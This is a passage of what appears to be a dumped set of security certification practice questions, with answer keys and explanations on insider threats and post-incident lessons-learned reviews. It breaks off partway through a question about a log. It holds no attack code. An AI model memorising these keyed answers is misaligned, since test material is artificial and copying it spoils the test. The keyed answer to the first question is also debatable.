IBM ? 3: MITRE ATT&CK | MITRE ? 4: Cyber Forensics Explained: Reasons, Phases & Challenges of Cyber Forensics | Splunk ? 5: Digital Forensics: How to Identify the Cause of a Cyber Attack - G2 NEW QUESTION 199 A user downloads software that contains malware onto a computer that eventually infects numerous other systems. Which of the following has the user become? A. Hacklivist B. Advanced persistent threat C. Insider threat D. Script kiddie Answer: C Explanation: The user has become an insider threat by downloading software that contains malware onto a computer that eventually infects numerous other systems. An insider threat is a person or entity that has legitimate access to an organization’s systems, networks, or resources and uses that access to cause harm or damage to the organization. An insider threat can be intentional or unintentional, malicious or negligent, and can result from various actions or behaviors, such as downloading unauthorized software, violating security policies, stealing data, sabotaging systems, or collaborating with external attackers. NEW QUESTION 203 Which of the following is the best action to take after the conclusion of a security incident to improve incident response in the future? A. Develop a call tree to inform impacted users B. Schedule a review with all teams to discuss what occurred C. Create an executive summary to update company leadership D. Review regulatory compliance with public relations for official notification Answer: B Explanation: One of the best actions to take after the conclusion of a security incident to improve incident response in the future is to schedule a review with all teams to discuss what occurred, what went well, what went wrong, and what can be improved. This review is also known as a lessons learned session or an after-action report. The purpose of this review is to identify the root causes of the incident, evaluate the effectiveness of the incident response process, document any gaps or weaknesses in the security controls, and recommend corrective actions or preventive measures for future incidents. Official References: https://www.eccouncil.org/cybersecurity-exchange/threat-intelligence/cyber-kill-chain-seven-steps-cyberattack/ NEW QUESTION 208 A security analyst is reviewing events that occurred during a possible compromise. The analyst obtains the following log: Which of the following is most likely occurring, based on the